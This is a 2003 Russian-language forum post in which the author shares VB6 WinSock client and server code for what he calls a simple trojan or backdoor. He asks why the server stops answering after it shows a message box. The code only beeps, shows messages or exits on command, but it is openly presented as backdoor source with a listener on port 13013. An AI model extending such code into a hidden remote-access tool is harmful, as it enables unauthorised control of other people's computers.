VBNet - Форум

Вопрос: WinSock Добавлено: 01.11.03 17:32

Автор вопроса: MACROS

Я создал простейший троян, типа бэкдор, и там есть такая функция, как послание MsgBox от клиента к серверу, но после приёма сообщения и нажатия на OK, сервер перестает отвечать на команды клиента, как это исправить, можете привести код проги и подсказать что сделать ... Заранее спасибо.
Вот мой код
[Client]
Option Explicit
Private Sub about_Click()
frmAbout.Show
End Sub
Private Sub cmdStart_Click()
On Error Resume Next
If cmdStart.Caption = "Подключиться" Then
ws.Close
ws.RemoteHost = IP
ws.RemotePort = 13013
ws.Connect
Else
ws.Close
cmdStart.Caption = "Подключиться"
IP.Enabled = True
Comand.Enabled = False
End If
End Sub
Private Sub ex_Click()
End
End Sub
Private Sub Form_Load()
Comand.Enabled = False
End Sub
Private Sub ws_Connect()
cmdStart.Caption = "Отключиться"
IP.Enabled = False
Comand.Enabled = True
End Sub

Private Sub Command1_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "BEEP"
End Sub
Private Sub Command2_Click()
Dim IB As String
If ws.State <> sckConnected Then Exit Sub
IB = InputBox("Введите ваше сообщение", "Сообщение")
ws.SendData IB
End Sub
Private Sub Command3_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "END"
End Sub

[Server]
Option Explicit
Private Sub Form_Load()
Do
    If ws.State <> sckConnected And ws.State <> sckListening Then
        ws.Close
        ws.Listen
    End If
    DoEvents
Loop
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim Text As String
Dim Data As String
ws.GetData Data
Text = Data
Select Case Data
    Case "BEEP"
        Beep
    Case "END"
        End
    Case Else
        MsgBox Text, 64, "Сообщение"
End Select
End Sub

Ответить